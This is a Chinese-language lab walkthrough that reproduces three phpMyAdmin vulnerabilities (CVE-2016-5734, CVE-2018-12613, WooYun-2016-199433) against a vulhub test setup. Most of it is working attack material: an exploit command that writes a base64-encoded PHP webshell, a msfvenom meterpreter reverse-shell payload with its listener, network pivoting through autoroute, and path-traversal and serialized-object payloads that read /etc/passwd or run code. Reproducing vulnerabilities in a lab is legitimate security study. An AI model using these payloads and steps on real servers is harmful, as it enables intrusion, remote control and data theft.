【phpmyadmin漏洞复现】CVE-2016-5734远程代码执行漏洞+CVE-2018-12613文件包含漏洞+WooYun-2016-199433反序列化漏洞

CVE-2016-5734

1.访问8080端口，用弱口令root root登录

2. 在Kali中有自带的EXP：

searchsploit phpmyadmin

3.进入该目录：/usr/share/exploitdb/exploits/php/webapps，通过EXP写入一句话木马：

python3 40185.py -u root --pwd="root" http://192.168.225.139:8080/ -c "file_put_contents('shell.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4='));"

4.用蚁剑连接：

5.然后通过msfvenom生成木马：

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.225.133 LPORT=2333 -f elf>/root/sa.elf

6.通过蚁剑把sa.elf上传到容器的/tmp环境下，/tmp环境是临时文件目录普通用户的权限都比较大

7.接下来在Kali上开启监听

msfconsole>use multi/handler>set payload linux/x64/meterpreter/reverse_tcp>set LHOST 192.168.225.139>set LPORT 2333>run

8.然后在蚁剑的虚拟终端上运行木马，进入\tmp目录修改执行权限：chmod +x sa.elf，再执行命令：

9.Kali上就得到会话

10.然后就是查询容器的网段地址，把容器的网段地址添加到路由中：

获取内网段：

run get_local_subnets

添加内网网段：

run autoroute -s 172.18.0.0/24

打印路由信息：

run autoroute -p

11.对mysql进行探测：

回到meterpreter终端：

use auxiliary/scanner/mysql/mysql_version-> set RHOST 192.168.225.139->set THREADS 20->run

12.可以到容器中查看路由是否正确，然后可以对Mysql进行账号密码爆破，因为那个容器的密码为空 就不进行演示了：

sudo docker inspect 8f | grep IPAddress

13.这里有一个exp脚本：

python phpmyadmin_5734.py -c 'system(id);' -u root -p root -d test http://192.168.225.139:8080/

-d是已经可以写的数据库，-c是待执行的PHP语句，如果没有指定表名，这个POC会创建一个名为prgpwn的表。

CVE-2018-12613

攻击者利用发现在服务器上包含（查看和潜在执行）文件的漏洞。该漏洞来自一部分代码，其中页面在phpMyAdmin中被重定向和加载，以及对白名单页面进行不正确的测试。 攻击者必须经过身份验证，但在这些情况下除外：

$cfg[‘AllowArbitraryServer’]=true：攻击者可以指定他/她已经控制的任何主机，并在phpMyAdmin上执行任意代码；

$cfg[‘ServerDefault’]=0：这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码。

1.原理：

1）利用kali自带的工具searchsploit查找漏洞：

searchsploit phpmyadmin

2.发现有两个关于4.8.1版本的文件包含漏洞，先看一下第一个内容：

cd /usr/share/exploitdb/exploits/php/webapps/&&cat 44924.txt

可以通过命令查看php文件：sudo docker exec id号 cat index.php

第一种方法：

1.首先在SQL那里写入并执行：

select '<?php phpinfo()?>';

2.F12找到cookie的值：

3.访问以下网址可以进行命令执行：

http://192.168.225.139:8080/server_sql.php/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_40bb979c3e05290b576e48fe0a0b3ebd

第二种方法：

1.构造payload：

http://192.168.225.139:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

WooYun-2016-199433

phpmyadmin 2.x版本中存在一处反序列化漏洞，通过该漏洞，攻击者可以读取任意文件或执行任意代码

1.访问8080端口，即可看到phpmyadmin的首页，由于vulhub环境没有连接数据库，所以此时会报错，但这个漏洞的利用与数据库无关，因此不用管

2.burpsuite抓包，刷新页面，构造payload：

action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

3. 这个漏洞是不能读取php文件，因为有了eval()，相当于任意文件包含了。getshell需要包含上传的木马文件，也可以包含日志文件。但docker环境中并未开启日志功能，也没有上传点。所以不能进行getshell演示了